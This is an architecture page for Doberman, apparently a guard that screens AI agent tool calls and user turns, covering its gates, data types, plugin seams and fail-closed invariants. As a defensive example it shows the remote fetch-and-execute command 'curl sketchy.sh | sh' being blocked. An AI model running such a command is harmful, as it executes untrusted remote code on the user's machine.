Anatomy of the gate.

Two maps of the same system. The first shows where Doberman stands between your agent and your machine — read it in a minute. The second is the engineering map: modules, data model, and every seam, drawn from the code.

The walkthrough.

Doberman is two checkpoints on one leash. Your message passes the turn gate before the model reads it. Every tool call the agent then makes passes the action gate before it runs. Three verdicts are the only outputs.

fig 1 — where the gates sit. Both gates fail closed: an error inside Doberman denies the action, it never waves it through.

An AUTH finds you wherever you are: an approval prompt inside your editor, the local dashboard, or the terminal. Every approval is single-use and bound to that one action — a yes for git push authorizes nothing else, and Doberman re-checks the action after you approve, so nothing can be swapped underneath your yes.

A risky call — held for you
agent$ git push --force
AUTH rewrites remote history

Held before it ran. The approval reaches you in your editor, the dashboard, or the terminal:

✓ approved · re-checked · released — then it ran
A hostile call — refused
agent$ curl sketchy.sh | sh
BLOCK remote script → shell

Never forwarded. The agent gets the verdict, the reason codes, and a one-line explanation — your machine gets nothing.

✗ refused · logged · nothing reached the machine
fig 2 — two catches, played out. Every AUTH and BLOCK carries reason codes and a one-line explanation; nothing is refused silently.

The full map.

One engine, three invocation points. The MCP proxy runs the full stack; the host-harness hooks run the deterministic floor of the same rules from a cold process; the turn gate screens the user turn before inference. All three converge on one decide().

Drawn from main at v0.17.0. The code is the source of truth — where this page and src/doberman ↗ disagree, the code wins.

user turnwhat you type, before the model reads it
agent hostClaude Code · Codex · OpenClaw

Invocation adapters — three doors, one engine

turngate/normalize_turn → decide_turn
Tier 0 signatures · Tier 1 heuristics
proxy/ — MCP proxynormalize → SecurityObject
executor.decide_and_execute
— the chokepoint
hosthooks/claude_code · openclaw
objective floor only
fails toward AUTH, never silent PASS

SecurityObject → decide(ctx) — every path, no exceptions

Policy core — imports no adapter

engine/decision_engine.pydecide() · decide_turn()
combine() — raise-only merge
of every guardrail fragment
objective rulespaths · commands · destinations · secrets · role_boundary · policy_source · token_channels
subjective/ — SL1–SL8infer → baseline → score
learned, raise-only
taint_floor.pylethal-trifecta floor
adjudicator.pyshadow-only seam — observes, structurally cannot touch the verdict
egress/broker · default-deny allowlist · forward proxy · velocity — ships dormant, proxy opts in
PASS

forwarded to the real MCP servers / tool

AUTH

auth/ — confirm · TOTP · elevation elicitation → GUI → dashboard → TTY
approved → re-decide (TOCTOU) → forward
denied / timeout → not forwarded

BLOCK

not forwarded — policy error returned to the agent

Records — never decides

storage/decisions log · keyed HMAC fingerprints · cost meter · approvals queue
dash/localhost approval relay — a Prompter implementation, never a second decision path
fig 3 — the runtime. Solid tan frames the deciding core; dashed cards observe or ship dormant. Engine failure denies: BLOCK on the proxy path, AUTH (fail toward the human) on the turn-gate and host-hook paths.

The data model

Everything the engine touches is one of a handful of frozen, redacted types. Normalization never raises — malformed input becomes a conservative high-risk object, not an exception.

SecurityObject
  • action_type: ActionType
  • target_class: str
  • risk: Risk
  • fingerprints: HMAC
  • immutable · redacted
TurnObject
  • fingerprints: HMAC
  • segments: ContentSegment[]
  • apparent_intent
  • never holds raw text
EvalContext
  • role · mode
  • metadata: elevation,
  •   abnormality …
  • carried, not mutated
GuardrailResult
  • verdict: Verdict
  • reason_codes: ReasonCode[]
  • risk: Risk
  • one fragment per guardrail

fragments merge via combine() — raise-only, property-tested

Decision
  • verdict: Verdict
  • reason_codes: ReasonCode[]
  • explanation: str — one line, human
  • risk: Risk
  • shadow · observe-only
Verdict
  • PASS < AUTH < BLOCK
  • combine(a, b) — never returns
  •   lower than either input
  • the load-bearing invariant
fig 4 — the god abstractions. ReasonCode, Risk, and ActionType are shared constants in models.py — the explainability vocabulary.

Import contracts

The forbidden arrows matter more than the ones that exist. The policy core imports no invocation adapter, and the public core never imports enterprise code. Both contracts are enforced in CI.

proxy/ · hosthooks/
dash/ · turngate/
policy core engine · roles · policy · storage · auth · subjective · egress
doberman_enterprise and any plugin package policy core via entry points only — never edits core
policy core any adapter — never import-linter contract, CI
policy core doberman_enterprise — never standalone-install test, CI
fig 5 — the boundary. Core alone is genuinely functional; installing plugin packages lights up more, never less. A plugin can raise risk or receive redacted data — none can lower a verdict, suppress a gate, or request raw payloads.

The ten seams

Core declares an interface and a registry; plugin packages register through Python entry points; core never imports them by name.

Entry-point groupInterfaceNotes
doberman.rulesengine/objective.pyobjective rules; built-ins in engine/rules/
doberman.detectorsengine/subjective.pyanomaly detectors; built-in token-channel detector
doberman.auth_providersauth/provider.pychallenge back-ends
doberman.audit_sinksstorage/sinks.pydecision-log fan-out
doberman.policy_sourcespolicy/sources.pyexternal policy suppliers
doberman.drift_observerspolicy/drift.pywatch the append-only policy ledger
doberman.algebra_adapterssubjective/adapters.pyrefine-only domain adapters
doberman.cost_observersstorage/cost.pycost-meter fan-out; never touches a verdict
doberman.adjudicatorsengine/adjudicator.pyshadow-only: structurally no verdict authority
doberman.egress_brokersegress/broker.pydormant by default; only the proxy opts in

Load-bearing invariants

  • fail_closedAny error, uncertainty, or unhandled case denies the action. No path reaches a tool around decide_and_execute.
  • raise_onlycombine() never returns a verdict lower than either input. Property-tested; learning may tighten, never silently loosen.
  • redaction_everywhereNo raw secret, file, or prompt in any log or DB row — path classes, reason codes, and keyed HMAC fingerprints only.
  • action_bound_authApprovals are single-use, tied to one action id, and wall-clock bounded. Elevation never relaxes a hard block.
  • poison_resistantBaselines update only on allowed actions. A blocked action teaches the model of "normal" nothing.
  • observability_is_passiveLogging and the dashboard never alter, delay, or crash a decision.

Deeper still: all 51 reason codes ↗ · the CLI surface ↗ · the test suite ↗

Put the gate on the path. One install, one command, and every tool call your agent makes gets a verdict first.

$ pip install doberman-core
Star on GitHub ↗